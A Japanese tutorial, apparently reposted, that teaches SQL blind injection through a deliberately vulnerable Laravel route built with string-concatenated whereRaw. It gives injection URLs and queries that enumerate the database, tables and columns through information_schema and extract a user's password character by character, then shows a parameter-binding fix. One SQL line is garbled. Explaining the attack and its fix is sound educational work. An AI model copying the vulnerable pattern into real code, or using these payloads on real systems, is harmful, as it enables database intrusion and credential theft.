ホームページ  >  記事  >  PHPフレームワーク  >  Laravel の脆弱性の例による SQL ブラインド インジェクションの原則の解析

Laravel の脆弱性の例による SQL ブラインド インジェクションの原則の解析

WBOY
WBOY転載
2022-07-27 10:57:332495ブラウズ

この記事では、laravel に関する関連知識を提供します。主に、laravel の脆弱性を作成することで SQL ブラインド インジェクションの原理を説明する方法を紹介します。いわゆるブラインド インジェクションとは、SQL からのエラー応答がないことを意味します。サーバーの表示時に完了したインジェクション攻撃を見てみましょう。

Laravel の脆弱性の例による SQL ブラインド インジェクションの原則の解析

#[関連する推奨事項:

laravel ビデオチュートリアル]

環境

composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env  修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');

脆弱性の作成

// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id

テスト

http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh

手順

データベース名

推測データ名の長さを調べます

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循环下去

データベース名を推測します

从第一步 知道了数据库名长度
`select * from users where id = 1 and substr(database(),1,1) =a` 
`select * from users where id = 1 and substr(database(),1,1) =b` 
// 一直循环下去 找到数据库名的第一个做字符  然后找第二个字符  直到找完数据库名的长度

最後に、laravel_project

テーブル名

次のようになります。手順と推測 データベースはほぼ同じなので、簡単に説明します。

information_schema

information_schema は mysql に付属しています。

データベース名、テーブル名、カラムの種類などがすべて記録されています。テーブルのフィールドを推測してください。このデータベースから取得する必要があります。

laravel_project 内のテーブルの数を推測します

url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+

最初のテーブル名の長さを推測します

With [推測してくださいデータ名 長さ] これはそれほど多くありません。

最初のテーブル名を推測します

url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+
// 得出第一个表的第一个字段是f  然后查第

最後に、最初のテーブル名は次のとおりです: failed_jobs

フィールドを推測します

テーブルを推測するのと同じロジック。

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段总数

データを推測する

データ これが最も重要なことです。

failed_jobs にはデータがないため、users に変更しました。

users にはパスワード フィールドがあります。

mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w                                                  |
+----------------------------------------------------+
得出第一个是w,存起来,最后判断 
mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo                                                 |
+----------------------------------------------------+
第二个值为o
用第一个值 + 第二个值作为盲注

....

防御

(ニーズを満たさない場合は、Raw が必要な場合があります)

必要に応じて、バインドするだけです。

Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = ?',[$id])->first();
 return $user->name ?? '';
});

フレームワークを安全に使用する限り、抜け穴はありません。

それらの古いプロジェクトには抜け穴がたくさんあります。

今の時代、抜け穴を見つけるのは難しいです。

Ps

わかりやすくするために、上記では最も単純な検索が使用されています。

手動ブラインドインジェクションでは二分探索を使用する必要があります。

select * from users where id = 1 and  substr(database(),1,1) ='a';
换成二分:
 select * from users where id = 1 and  ascii(substr(database(),1,1)) > 99;

ツール sqlmap を使用して直接スキャンするのが最善です。

[関連する推奨事項:

laravel ビデオチュートリアル ]

以上がLaravel の脆弱性の例による SQL ブラインド インジェクションの原則の解析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はlearnku.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。